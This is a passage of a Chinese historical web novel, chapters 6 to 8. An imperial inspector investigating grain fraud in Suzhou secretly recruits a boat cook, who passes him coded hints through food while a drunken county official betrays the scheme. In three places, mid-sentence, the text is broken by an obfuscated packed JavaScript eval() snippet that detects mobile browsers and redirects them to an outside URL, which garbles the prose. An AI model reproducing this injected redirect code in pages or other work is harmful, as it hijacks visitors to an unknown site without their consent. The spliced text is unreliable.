阿珠看见顾喟意味深长的目光向侧寒飘过去了，才意识到什么，连忙又摆摆手说：“不过这句话骂人不狠的，是亲热的口吻才说的；要是骂得狠，就要骂‘十三点’‘寿头’‘猪头三’……了。” 顾喟毫无笑意，点点头慢慢说：“好的，我晓得了。”把碗递过去给阿珠洗：“我去睡觉了。” 见他离开，阿珠拍拍胸口说：“吓煞人了！他不会上楼和巧珍告状去了吧？明儿妈妈会不会责怪阿侧姐？”又担心又愧疚，又快哭了。 侧寒安慰道：“没事，这个人门槛精，一肚子坏水，我们一不小心就上他的当。只能以后自己小心点，能少跟他说一句就少跟他说一句。” 不胜后怕地摇摇头，又关心地问阿珠有没有被妈妈打伤，揭开她的小衫，给她背后一道道红印涂药。 过了一会儿，巧珍在厨房门前一探头：“咦，顾大人不在你这儿吃面啊？” 侧寒和阿珠一愣：“他说他睡觉去了。难道不是在你那儿睡？”打量巧珍还穿着透出红肚兜的豆绿色薄纱寝衣，妖妖调调一副美人样。 巧珍低呼了一声“糟了”，发足到外面看，侧寒和阿珠也跟出去看。此刻外面哪还有顾喟的身影！上岸的跳板直挺挺的，一点走过的痕迹都没有。 还是阿珠眼尖，指着远处一辆牛车问：“是不是那个？是往漕仓的方向。” 巧珍害怕服侍不到位明儿要倒霉，跺跺脚带着哭腔嘟囔道：“深更半夜的他走哪里去？这个人脑子里到底在想些啥？！” 6.第 6 章 “胡老爷还在船上吗？”侧寒问道。 巧珍心慌意乱，也顾不得平时颇为瞧不起厨下的人，只顾摇头：“他以为我今日要陪顾大人就寝，又嫌惜惜她们几个伺候得不惬意，自己下船回家了。说好了明儿大早还要过来，陪这位顾大人去漕仓的。要是他知道我没能留住顾大人，只怕又要发火。找个什么借口瞒住胡老爷呢？” 侧寒心里已经明白了几分，见巧珍可怜兮兮的模样，便安慰她说：“漕仓晚上都有库丁和漕丁值守，那位顾大人如果过去察看，胡老爷早晚会知道，我们岂能瞒得住？但腿长在他身上，他要走，我们只是伺候人的，也拦不住啊。” 巧珍还是害怕，哭哭啼啼、喋喋不休说了半天，终于引得花妈妈也披衣过来，狐疑地问：“半夜三更的，怎么还在这里哭哭啼啼的？巧珍，你不该在楼上伺候顾大人吗？” 等明白情况后，花妈妈不由倒抽了一口凉气，怒目几个人说：“你们几个真是蠢透了！顾大人是京里来的巡按大人，就是来查苏州府的赈灾钱粮和漕运是非的！胡老爷那么巴结他，就是希图他跟以往那些钦差一般，睁一眼闭一眼就糊弄过去的！巧珍你也吃了几年这行当的饭了，难道觉不出这位顾大人和以往那些大人不一样？他要清廉自守，闹出事来，县里、府里上上下下一个都逃不过。但那些当官的岂是吃素的？二虎相争，我们花月舫正好夹在中间作筏子罢了！——不然，你道胡老爷干什么让你务必拿捏住顾大人？” 巧珍嘤嘤哭道：“妈妈，奴也使了十二分力了，他这个人一时冷、一时热，一时铁面无私一般，一时又似乎知疼知热的，他今天看起来情意绵绵的，我都想不到他会转脸拔脚就跑了……如今怎么办？找人去追一追他么？还是赶紧去胡老爷家里报信？总归是弥补一点是一点吧。” 花妈妈盯着她问道：“他跟你睡过了没有？” 巧珍嚅嗫了一下，听花妈妈不耐烦说“干这个行当，装什么不好意思？！直接说！”，她才说：“还……还没……” 花妈妈说：“我先安排人现在就去通知胡老爷，你想好了和胡老爷解释的说辞。要是胡老爷横竖横就是气得不肯放过你，你就准备好去住几天班房吧。”拂袖而去。 说得巧珍嘤嘤嘤的声音又高了几度。 ———————————————— 胡老爷第二日没有来，顾喟也没有来。 第三天、第四天亦然。 花妈妈和巧珍等人提心吊胆等了三天，派龟奴去打听消息，也只说人都在衙门里办事，话递不进去，亦不敢多问。 第五日大早，正下着蒙蒙的秋雨，花月舫来了个穿着夹棉道袍，手撑油纸伞的年轻人，他熟门熟路踏上跳板上了船，遮着头脸的伞还未放下，就已经简单吩咐道：“一碗鱼面。” 船上诸人的作息习惯都是晏睡晚起的，只有艄公早起，在船头吸水烟时听到了他的吩咐，疑惑地问：“找谁？和我们家当家奶奶约过了吗？” “没有约。”年轻人自如地收起伞，“花妈妈认识我的。” 艄公认出这是熟脸，起身说：“这位爷，对不住，我们这里不是饭庄、食肆，供宴饮是要提前准备的。” 他带着点陪笑：“爷，你这贸贸然过来就吩咐点菜，只怕厨下什么都没预备啊。” 年轻人说：“我不急，可以慢慢等。你去告诉花妈妈一声。” 艄公上楼隔着门唤醒了花妈妈。 花妈妈很沉得住气，揭起帘子望了一眼，说了一句“知道了，你先下去。” 隔壁的巧珍也醒了，一惊又一喜，披衣蹑着一双小脚到花妈妈屋子里，撒着娇说：“哎呀，妈妈，是顾大人欸！他怎么这早晚来？我还没有梳洗打扮呢！要不我先扬个声儿，让他等等我？还是就这样下去迎接他？” 她裹着睡衣，慵髻懒鬓，不施脂粉，显得别有风情。 花妈妈却很冷静，瞥了她一眼：“憨囡！前几日一点消息没有，今日大早一个人来——谁知道他是和王太爷、胡老爷他们闹翻了，还是穿上了一条裤子？你别只顾看他英俊，却不论如今情势。真真是个还没挨过衙门里的板子拶子的嫩雏儿，不知道官场上这些人斗心思的利害！” 巧珍一呆：“那……那怎么办？万一他还是王太爷希图捧着的钦差大人，我们这里却疏忽怠慢了，可不又是一桩罪？” 花妈妈一针见血说：“我的儿，你可别自作多情了！人家巴巴地过来，又不是找你来的。他要吃一碗面，这是厨下的事，合该阿侧伺候他。若是日后问什么，你只推‘正睡着、不知道’不就完了？” 花妈妈说的有道理，但巧珍心里仍有些嫉妒能伺候顾喟的侧寒——即便知道侧寒那个丑女完全无法与自己相比，也有些嫉妒她，骨嘟着嘴和花妈妈一起装没听见，回床上睡觉了。 而听说顾喟到来的侧寒自然也有些吃惊。面对艄公转述来的“一碗鱼面”的要求，她本能地摇摇头：“昨日又没有吩咐下来，哪个去买草鱼了呢？没有草鱼，做不出好鱼面。再说，鱼面费功夫，又不是一时半会儿能做出来的。他实在要吃，明天再说吧。”拒绝了顾喟的要求。 然而未等艄公去回复，顾喟已经一掀帘子进了厨房，目光沉沉望着侧寒：“我陪你去买鱼。” “乌篷船已经开走了。” “难道除了乌篷船，偌大的姑苏城就别无可以买鱼的地方？” 侧寒愣了愣，看他眼中机心满满的样子，终于说：“鱼市估计可以买到草鱼。” 他露了一点点笑：“我的长随带你去鱼市买鱼，会赁一辆带篷的牛车——节省点步行的时间。长随身上有‘武府’的腰牌，你上岸后寻着腰牌上车。” 摸出一串铜板：“钱我来付，多的都归你。鱼面我中午来吃，来得及么？” 侧寒迟缓点头。 他便满意地也点点头，话不多，转身从跳板上上了岸，坐进一顶小轿，悠悠离开了。 侧寒上楼，隔着门对花妈妈回事：“妈妈，今朝早上煮了小米粥，另有四色点心与龙井茶，妈妈起身后用一点。刚刚，顾大人过来吩咐一定要吃鱼面，乌篷船都赶早市去了，奴只有去鱼市买草鱼。” 花妈妈的声音波澜不惊：“好的。今晚恐有应局，你先备点菜，鱼翅海参先行泡发，免得临了手忙脚乱。” 又特为说：“记得，买鱼就是买鱼，不要横生枝节。” “晓得了。” “嗯，知道你聪明，我白嘱咐你一句。”花妈妈在屋子里不曾露面，声音听似淡淡的，“可聪明得多放在看情势上，可不要自作聪明办了傻事。苏州府衙、县衙里，个个都是人精，个个背后都拖带着偌大的‘关系’，个个心狠手辣。小小画舫，在那些人看来蚂蚁似的一碾就死，我们一不小心就是万劫不复。” 侧寒肃然起来，再次恭敬回答：“晓得了，妈妈。” “去吧。” 帷帽遮了厨娘的面庞，她上了岸，左右四顾，少顷便看见一辆牛车上有个青衣小帽的人在冲她挥手，然后展示了一下腰间的木牌，上面赫然是峄山体的篆书“武府”二字。 侧寒没有犹豫很久，上了车。 车四面是竹编的篷，大车门帘一放下，里面就黑黢黢的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936322|192727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧寒伸手在座位四周一摸，似无异样，脚再一探，却触到什么软软的东西。 她袖子里藏着一把尖刃的小厨刀，置于皮鞘里，此刻一手握着刀柄，弯腰用另一手摸那团软软的东西：外面是个麻袋，里面软软的带着温热，像是个人，抑或一头猪，一点没动静。 车轮滚滚，不知往哪个方向去，侧寒静静等了一会儿，麻袋里的物事依旧一动不动。她松开刀柄，取出褡裢里的火折子，晃开一点点火花，照了照四周，影影绰绰就是一辆普通的牛车，地上那个麻袋里不似猪一样圆壮，应该是个人。 麻袋口没有系绳，只是拧紧了。她伸手去拆那袋子，但是旋即牛车停了下来，她没有坐稳，差点摔在地上。 光从门帘子揭开的地方涌进来，但只一瞬。 一个人钻进来，放下帘子，然后说：“别大声。” 声音是顾喟的。 “去哪儿？”侧寒问。 “鱼市啊。”他答。 “这么神神道道的干什么？” 他笑：“小心点总没错。外面那个是相府的家奴，现在暂时是听我的。” 火折子的微光淡淡勾勒出他脸的轮廓，半边脸的眉梢上挑，嘴角也上挑，另半边隐在黑暗里，好像没有上挑微笑的表情，沉沉冷冷，像志怪小说里描绘的有着英俊人形的狐鬼。 侧寒琢磨着他的意思——他说话好像总是要让人思考一下才行——腰牌是“武府”，驱车的是相府家奴，武首辅如今是皇上的宠臣，大事小事一手遮天，皇上安心在内宫修道、炼药、生皇子皇女；他好像在提醒她“小心点”，又说“现在暂时”——那么是不是说明，外面的家奴也未必可信？ 她努努嘴指着地上的麻袋，轻声问：“里面是谁？” 顾喟摇摇头，不肯作答。 她换了一个问题：“你想干什么？” 他隐隐露了齿在笑，坦然说：“我是皇上派下来的钦差，巡按苏州府赈灾、纳粮和漕运之事，当然是好好查案子来的啊。” “为什么攀上我？我不过一个厨娘……” 还没有回答，外头那家丁就停了车，说：“姑爷，鱼市到了。” 门帘子又揭开一道，光又涌进来。 顾喟下车后说：“我这次来姑苏，就心心念念这一碗鱼面——以往只在苏州府吃到过最好的——既来了，当然不能错过。”伸手要扶她下车。 侧寒避开他的手，理了理帷帽的面纱，跳到了地上。 那家丁说：“姑爷，这鱼市气味腥臭，可要到旁边找间茶馆歇歇脚？——姑爷又用不着跟着买鱼。” 顾喟看着侧寒说：“也好，不过我不熟悉姑苏地方，江姑娘可知道附近有没有好茶馆？要四路通透一些的。我喜欢坐在北边靠窗的齐楚阁儿里独自喝茶吃点心。” 侧寒瞟了他一眼，说了个地方。 顾喟便重新上了牛车，看了侧寒一眼，微微若笑，然后放下门帘，对家丁道：“就刚刚说的，找找地方去吧。过一个时辰，再来鱼市接江姑娘。” 这个人不实诚，说一句话要藏半句，总要人猜他的心思。 侧寒琢磨着他的话，一时又想“理他作甚？”，手摸到褡裢里他给的那串钱，钱串子不是用的棉线，好像是绵纸。侧寒一边往鱼虾摊位前走，一边拆开钱串子——果然是绵纸拧成的，打开便见上面一行字：“情弊颇多，愿听指教。”又有一行小字：“残民以逞，不如曳尾泥涂，望知我意。” 她抽了一口气，想着他询问茶馆时说的“四路通透”“北边靠窗的齐楚阁儿”“独自”，大致明白了他的意思。 7.第 7 章 顾喟坐在茶馆北侧的齐楚阁儿里，面前摆两个茶碗，虎丘茶清香袅袅，蓑衣饼和芡实糕摆在瓷盘里。 这个阁子他很满意：朝北，窗外是太湖石堆叠的小园，有通幽的曲径，通往后厨的门。里面看外面一览无余，外面看里面却要隔层层竹影，看不太清楚。 他关上门，轻轻喊茶博士：“是不是要加热水了？”半日没有动静——茶博士刚刚说过：“这间小阁偏僻，官人如果要添茶水，可得劳烦官人开了门、大声些唤小的才行。” 如此甚好。 他细细琢磨了一会儿，呷茶赏花，默默等着。一盏茶工夫，后门那里竹影摇动，月洞门外进来一个熟悉的身影，帷帽遮着脸，依然看出她左顾右盼了片时，便径直朝他所在的那间齐楚阁子走来。 顾喟起身为她打起门帘，笑道：“你好聪明，一眼就找到我了。” 她凛然地站在与他六七尺间隔的地方：“鱼已经买了，要尽快处理才够新鲜——有什么事，快说吧。” 顾喟指了指里头茶桌：“不要急，我要了两个茶盏，虚席以待。” 见她不动，笑道：“你既然那么怕我，为何还敢过来？” 侧寒便进门坐下了。 顾喟为她斟上茶，见她凝然不动，也不劝饮，自顾自道：“我遇到问题了：这三天在官仓、漕仓和码头四处查看，仓中米看着都是新米，库里钱账数目也对得上；姑苏三年大旱，都有地方上的晴雨册佐证，赈粮发放，也都有实证；特为下乡问了几户人家，都说赈灾粮一升不少，全发放到了家里。真真是无懈可击。” 他看到帷帽的垂纱后她隐隐露出的冷笑，立刻问：“越是无懈可击，越是叫人奇怪。你心里都明白的，是么？” 侧寒不说话，隔着面纱打量着他。 他的手指轻轻叩击着茶桌，眼睛望着茶盏里的虎丘茶。等了一会儿，倏忽抬头：“我看得出你是个有正气的人。愿不愿意指点我一二，救苏州黎庶于艰难之中？” 她如何敢这样轻易地信他！ 沉默良久，他也不催，倒是一双眼自下而上瞥上来，眸子极黑，冰冷的深潭一般，与他嘴角的笑意全不匹配。 “好罢，”顾喟起身说，“还得我自己查。” 侧寒也起身，对他福了一福：“抱歉，区区小女子，帮不上忙。奴告退了。” 他陡然说：“你日日在画舫里，其他公务上的事可以推说不知，但想必胡县丞引我入彀的法门是一清二楚的吧？怎么，也宁愿看着我中他们的圈套，不得不和他们沆瀣一气、作害百姓么？” 她并不吃他那一套。腰板挺得直直的，是会干活的女子的模样，不像巧珍似的娇柔。 侧寒说：“你若自己端正，就不怕中他们的圈套。” “那么有怎样的圈套呢？仙人跳？”顾喟重新坐下，端起茶杯，好整以暇的样子。 侧寒沉吟了一会儿：“顾大人是武首辅家的孙婿，大概不愿意出些绯闻为岳家所知，伤了新妇的脸面。” 她肯开口就好。 顾喟再次摊掌向茶杯一指：“明白了。你能否给故人一点薄面，坐下喝两口茶？你总不至于担心我在姑苏的地盘给你下蒙汗药？” “牛车里、麻袋中药倒的那个还不知是谁。”侧寒说，“说实话，不太敢信顾大人。奴以往也不认识顾大人，‘故人’云云，请大人收回。奴是什么名牌上的人，敢跟顾大人平起平坐喝茶？左不过一个没见识的厨娘，顾大人问话还是找别人合适。” “你警觉心好重。”顾喟说，“当然，我也一样。” 他又是从自下而上盯住了侧寒：“我们都是一路人，不必说破，也不必装，心知肚明就可以了。” “你愿意帮我，其实也是帮你自己，更是帮苏州的穷苦百姓；你不愿意帮，想明哲保身，我也强迫不了你。实话告诉你，我与苏州知府刘北辰是大仇——他在明我在暗，他不知道我是谁，也不懂我的手段，而我必杀之而后快。你不帮忙，我艰难一点也无所谓，只是若日后把你牵扯进去遭了罪，少不得先和你打个招呼了。” 他话里总是带着机锋及陷阱，一套一套的手段叫人应接不暇。此时突然抖露出这么大的秘密，侧寒吃了一惊。而见他笑得愈发冷森森的，她心里就明白他是在逼迫自己——若不立刻纳投名状，他便要也以自己为敌了。 于情于理，她都无法出卖他。 于情，他查的是姑苏官场的黑暗、对百姓的盘剥，她也是底层的一员，天然同情与自己一样受苦受难的人，希望有个话本子中所写的“青天大老爷”来为大家伸冤、减赋；于理，他挑她摊牌，也是吃准了她不像巧珍一样只顾自己，所以不会被胡县丞他们当枪使。 “我从不害人，你放心……”侧寒说。 顾喟笑起来：“你是好人，我并不是。” 少顷收了笑：“我要是也当了好人，就活不长了，朝堂里、官府中、江湖上，都是这样的道理。不要觉得我在吓唬你，我可不会给自己留一丝一毫的隐患。” 侧寒想了想，飞快地说：“胡县丞现在还只叫巧珍伺候好顾大人，暂时没有其他想头，但他手段阴毒，多小心为妙；巧珍她——” 她顿了顿。 巧珍八面玲珑，但还没有经历过世间种种险恶的毒打。风月场上说“鸨儿爱钞，姑娘爱俏”，年轻船娘哪个不想找个年轻俊美、有权有钱的恩客？能趁年轻托付自己的终身，就免得在这脂粉地狱里磋磨。 见顾喟飘过来的征询的目光，侧寒说：“巧珍没啥坏心思，她的那点心思，顾大人应当懂的。” 顾喟嗤笑一声，又点点头鼓励她：“继续说。我早些了然这帮污吏的手法，他们就没有那么多在我面前弄鬼的时间。” “耕当问奴，织当问婢。”侧寒说，“他们弄鬼的手段，我不大懂。或许牛车上麻袋里塞的那个人懂得多些。” 顾喟弛然大笑，指着她说：“你别装着只会做鱼面。” “草鱼再在篓子里闷着，就要臭了。” “鱼臭了，今日可以不吃鱼面。鱼市里虾兵蟹将也多，我也可以吃这些不值钱的粗粝物色。” 他笑意沉下去：“我今晚和胡县丞他们还要约去花月舫喝花酒，哪道菜得厨娘伺候着吃，你就做哪道菜。我且会让你放个心。” 侧寒说：“晓得了，不过顾大人可能不知道，‘虾兵蟹将’做得好，能夺鱼鲜味。” “奴告退了。”她端起桌上为她留的茶盏，一饮而尽，“虎丘茶是好茶，多谢顾大人赐饮。”然后退了出去。 ———————————————— 晚上，花月舫果然又热闹起来。 胡县丞笑得腮边的肉一抖一抖的：“顾大人这几日查仓库可太辛苦了，今日好好解解乏！” 巧珍笑得明媚，放下手中的琵琶，贴上去为顾喟揉肩：“哎呀，顾大人辛苦啦！” 顾喟没有躲开，享受着她的揉捏，笑道：“巧珍巧珍，果然手巧，怪不得胡老爷待你如宝似珍。” 胡老爷抚掌而笑：“顾大人到底是探花郎，出口成章。何止卑职待巧珍如宝似珍！今日顾大人梳拢了巧珍，更是要如宝似珍了！” 他精明的一双眼看似笑得眯成了一条缝，其实那两道精光一错不错地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940481|192727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着顾喟的脸色。 顾喟笑道：“这几日查库辛苦，吴县粮库和漕库都是满库粮食，出入账目清清楚楚，一丝不错。胡县丞管理县中财赋与库房，果然是一把好手。我哪懂这些为官为吏的实学？还是要多和老哥请教学习呀。” 花花轿子人抬人。 胡县丞见他说话好听多了——那说明不是真不懂、被糊弄住了，就是愿意同流合污、睁一眼闭一眼了——当然也很高兴。他变得松弛，用筷子敲敲桌面，说：“今日高兴，当浮一大白。” 顾喟伸手掩住酒杯口，对打算给他加酒的巧珍说：“这样喝有什么意思？我们不妨玩点雅致的游戏。就以巧珍的姓名为句首，一人给巧珍写一句诗，平仄要协，也得对仗。卡了壳儿的就自罚三杯，最后看谁写的好的，大家共贺他一杯。” 胡县丞等几个人哄然叫妙，夸顾喟才思敏捷，今日必当喝这贺酒。 吴县县衙的文书先起的句：“我有了，‘巧笑嫣然春色驻，珍姿缱绻月华依。’如何？” “好好好！” 佐使也来了一句：“巧目流辉星月隐，珍颜焕彩赤霞羞。” 轮到顾喟了，他用筷子敲着酒盏，有节奏地吟道：“巧韵清歌云外绕，珍姿曼舞掌中轻。” 胡县丞急忙夸：“哦哟，我虽然没有什么文才，但一听这就是不凡的句子呀！这‘巧韵’，这‘珍姿’，啧啧啧，真真活化了巧珍的色艺双全。前几句太俗，太俗！到底不愧是探花郎。” 他对巧珍一使眼色。 巧珍立刻站起来，用手帕垫着酒盏，含羞带臊地说：“顾大人这么夸我，我怎么能不敬顾大人一杯呢？” 顾喟挡开她手中的酒盏，斜瞟她一眼，眼睑下带着桃花酒韵似的。他说：“咦，巧珍，你这可错了，刚刚可说好的：卡壳才罚酒。我这句诗既然做得好，不该你喝一杯谢我才是吗？” 巧珍欲要讨他欢心，豪爽地说：“可不是，这杯我干了。”滋溜就把酒咽了下去。 联句又来了一轮，到顾喟时，他弛然道：“‘巧步凌波尘世外，珍容绝代妒芙蓉’，如何？” 既因诗句写得好，又因大家想拍顾喟的马屁，所以又是一轮叫好。而巧珍又在大家的要求下敬了顾喟双杯，她的胃又开始隐隐作痛，但不敢表露，只在侧寒上菜的时候，示意她去换了一杯白水。 顾喟笑笑，探过身子道：“胡县丞，该你了。” 胡县丞江郎才尽，皱眉想了好久才来了一句：“有了！‘巧姿纵情床帷摇，珍声放浪枕席间’。”边吟边露出猥琐的笑。 大家伙拍桌子、拍大腿，前仰后合：“不成，不成，从未见过如此粗俗的诗句。” 巧珍也脸红了，往胡县丞杯子里加满了酒，硬塞到他的唇边，笑骂道：“胡说八道！罚你一杯！” 胡县丞“滋溜”一口闷了，嬉笑道：“粗俗是粗俗一些，但难道刻画得不生动？不活泼？巧珍，你也该喝两杯谢谢我才是。” “谢谢你的爷！” 胡县丞借酒装疯，端起杯子，勒住巧珍脖子，倒酒在她嘴里。 顾喟笑道：“我来说句公道话：胡老爷这卡壳儿卡得太久，不罚三杯不像话；巧珍既然和胡老爷是鸳侣，也得陪三杯才是。” 胡县丞听他发话，便很豪爽地喝了三杯；巧珍有些为难，可没有拒绝的余地，只能忍着胃痛也喝了三杯。 闹了一通，评选诗句，大家公推顾喟最佳，于是共贺他一杯。几轮酒下来，顾喟只是脸颊微红，其他人满脸醺红，巧珍却脸色发白，悄悄捂着不适的胃。 顾喟虽然看见，但只是把脸撇了过去。 8.第 8 章 眼见胡县丞他们已经有酩酊之色，顾喟便在侧寒端上来一盘碧螺虾仁的时候问：“咦，这是以茶入馔吗？” “是。”侧寒说，“多茶，虾蟹之流便不那么腥了。” 这是“茶”“查”谐音，对上了他们白天的交谈。 顾喟特别地看了她一眼，而后点点头：“有趣，有趣，小厨娘颇有巧思。” 喝得神志不清的胡县丞大着舌头笑道：“咦，还……还要联句么？巧思……珍玩……对了！巧珍只可珍玩，不可……亵玩！” 他指着巧珍哈哈笑：“怎么，我的句子不好么？你怎么不喝酒谢谢我？” 巧珍心里恨死了他，举起杯子假笑道：“好好好，奴谢谢胡老爷！”然后把杯里的白开水喝了一大口。 顾喟欲要试探胡县丞喝到什么程度了，拿过巧珍的酒杯对他说：“你也不心疼心疼巧珍，来来来，替她喝半杯。”不等巧珍阻拦，就把她杯中的白水倒进胡县丞的杯中。 胡县丞拎起杯子来了一口。 顾喟问：“这酒如何？” 胡县丞咂吧咂吧嘴：“这酒有点淡？……” 顾喟一本正经说：“难道不是带了美人的脂粉香？不信你再来一口。” 胡县丞醉得舌头几乎咂摸不出味道了，喝了一大口水，咂咂嘴又舔舔嘴唇：“好像酒香里又带着脂粉香呢，啊，还带着巧珍的女人香——我最熟悉不过了。” 巧珍先还为顾喟的举动愣怔了一下，至此不由前仰后合笑起来：“死相，不会说话可以不说。” 顾喟凑近一些说：“漕库气味也不纯是粮食香味，莫不是时候久了，生出酒味？” 胡县丞红着鼻头、红着颧骨，腮肉抖动得粉皮儿似的，舌头在口腔里胡乱打转儿：“漕库那些陈粮当然没有粮食香味啦。但是呢……皇上要给姑苏赈灾，他们反正也没有受灾，新米换了陈仓，差价就——” 他的嘴被身旁坐着的、还没烂醉的佐使毛老爷捂住了，而后，毛佐使为他打圆场：“听听，喝多了就胡吣！” 顾喟道：“毛老爷放心，我把胡老爷当自己人，都懂的。” 侧寒端来一大碗三虾面，说：“对不住顾大人，今朝草鱼是在鱼市买的，不新鲜，兜底就臭了，做不出鱼面。不过虾蟹很好，虾剥了壳做三虾面，功夫下得可不比鱼面少，顾大人尝一尝奴的手艺，别只盯着要鱼面吃。” 她说话就是市井姑娘的直率，带着点辣劲儿。 胡县丞被捂着嘴不舒服，甩开毛佐使的手：“我还能喝！三虾面好、好吃！厨娘丑便罢了，说话不像伺、伺候人的，不、不好！……惜惜给我斟酒，要女、女儿香的。” 侧寒不理他，把三虾面一一分到小碗里，送到众人面前，也特意给陪酒的船娘们各盛了一碗。 暖暖的面条下肚，巧珍的胃里舒服了许多。侧寒虽然看着孤傲，与她不是一路人，但是这几天对她关心，巧珍也有些感激，要为她说点好的讨赏：“这个三虾面真是绝了！河虾那么一点小，虾仁都用手一只一只剥出来，工夫就不得了。还要单另取虾籽、取虾膏，虾籽炒干，虾膏爆出虾油，再拌上好葱油，才得一碗‘三虾’，拌面又鲜又香，还不用剥虾，吃的就是个软弹清爽。顾大人快尝尝看，要是好吃，奴要为阿侧讨个赏哩！” 嗦面的人夸奖声一片。 顾喟吃了一大口，没吃到“软弹清爽”，吃到一嘴虾壳，和面条、面酱混合在一起，分不开也吐不出来，鲜是鲜，口感真是差。他看了神色自若的侧寒，努力把一嘴虾壳嚼烂咽下去。然后伸手掏了一小串钱放在桌上：“是要赏。” 这点小钱，巧珍她们自然不放在眼里，接过去就递到侧寒手上：“还不快谢谢顾大人？” “多谢顾大人的赏。”侧寒福了福，“奴告退了，还有甜点心，吴县特色，一会儿上来。” 巧珍递完赏钱，见顾喟也不吃面了，正想劝，突然瞥见他面碗里好多的虾壳碎，顿时惊得酒都化做汗从背上涔涔而出。然而顾喟没事人一样，她也不敢造次多话，只说：“顾大人，三虾面凉了吧？凉了腥气，倒了吧。”见顾喟没有不允，赶紧把这碗面从窗口倒下了山塘河里，才松了一口气。 她借口“方便”，到厨房打发阿珠“去撤掉客人们满了的骨碟”，然后才双手抱胸，气哼哼对侧寒说：“阿侧你怎么回事？顾大人的面里怎么都是虾壳？” 侧寒用围裙擦擦手：“他抱怨了吗？” “那倒没有。”巧珍说，“他脾气是挺好，但毕竟是京里来的大官，即便他不说什么，胡老爷他们发现了也是不得了的事呀。” 侧寒说：“行，那我接下来注意。” 边说边从煎锅里夹出金黄酥脆的桂花栗饼，摆到盘子里，用红曲粉调和成酱汁，在寸许大的饼皮上书写诸如“桂秋馥远”“月华人和”“岁岁清欢”等吉祥字样，有隶书、楷书、篆书种种。 巧珍觉得不过是几口一个的饼子罢了，费这些时间；又想这些酸文假醋的墨客骚人就喜欢这些穷讲究，嗤笑了一声说：“你可仔细一点，今儿幸好是我发现，要是胡老爷或者妈妈看出端倪，你就是一顿好打呢！”转身要走。 侧寒说：“巧珍姐慢点。” “怎么？” 侧寒说：“这个饼是给胡老爷的，而那个饼子是专门留给顾大人的，上面的词句他看着会欢喜，你记得亲自端给他。” 巧珍头一伸，见一个上面写的是“首屈一指”几个隶书，另一个上面曲里拐弯地写几个篆字，她勉强认出一个“金”字，余外一个不识，不由问：“上头写的啥？” 侧寒说：“写的是‘千金齐聚’。” 巧珍说：“发大财的意思么？这个给顾大人？意思虽好，不过这些酸文人要标榜清廉，哪怕私下里拿得刷刷的，表面上还是一副嫌弃铜臭味的死相。” 她掩口笑道：“你这个马屁，怕是要拍到马蹄子上了。” 侧寒说：“万一人家喜欢呢？巧珍姐只管送就是了，他要不高兴，就推我头上。” 桂花栗饼送上桌，巧珍亲自分到各人的盘子里。大家首先对这一寸圆径的小饼上字体各异的书法很感兴趣，互相看了一番，赞了一番。 胡老爷喝了一壶凉茶，比刚刚清醒了一点，见自己面前饼上“首屈一指”四个字，心里颇为熨贴，故作姿态说：“这四个字我哪里配得上？倒是顾大人探花郎出身，在这桌上才是‘首屈一指’。” 再伸头看旁边顾喟的盘子，大着舌头问道：“这几个字，我居然认不全，都不敢说我掌过吴县的文书了。” 顾喟已经凝然望了一会儿，微笑道：“这四个字是大篆的‘千金齐聚’，大约是祝我发财吧。呵呵，七品小官，拿国家的俸禄，财是发不了的。” 几个县衙里的小吏急忙一个赶一个地拍马屁：“顾大人身为都察院的清贵、天子耳目风纪之臣，岂是品级限定得了的？何况发财肯定不可能发在俸禄之中，哈哈……” 顾喟瞥了瞥胡老爷盘子里的“首屈一指”四个字，心里有数，也不多言，小心地拈起饼，咬开一角，见里面是正常的细腻桂花栗子馅儿，才放心地吃起来。 胡县丞饼吃完似乎有些酒醒。顾喟执壶给巧珍酒盏里倒花雕酒，对她道：“巧珍，你要替我谢谢胡老爷——若无胡老爷牵线， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946057|192727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岂有我与你的相识相知？” 巧珍愣了愣，悄声说：“顾大人，奴奴不能喝了，已经喝得胃疼了……” 顾喟有些似醉不醉的样子，拨开她欲要阻拦的纤纤玉手：“怎么，不愿意给我这个面子？” 巧珍无奈：“那奴自己倒就是，怎得劳烦顾大人？” 顾喟已经倒满了酒：“既然是我谢，自然是我来倒这杯酒。”转身又给胡县丞倒满了。 胡县丞正是酒酣的时候，绝不说“酒多了”，而是“我还能喝”，伸过杯子对巧珍道：“巧……珍，我能喝！顾大人劝酒，死也要喝，不能不给顾大人面子。” 巧珍看胡县丞喝干了，没奈何啜了一口，结果这帮看热闹不嫌事大的小吏们逼着她把酒都喝了下去。 顾喟于是又给两个人满上，笑道：“若无胡老爷指点，我怎么能这么轻松就办完了万岁爷的差使呢？” 那些小吏一听，这是巡按大人表示吴县的账目已经过关了？这更是大喜事，急忙又撺掇胡县丞和巧珍喝酒。 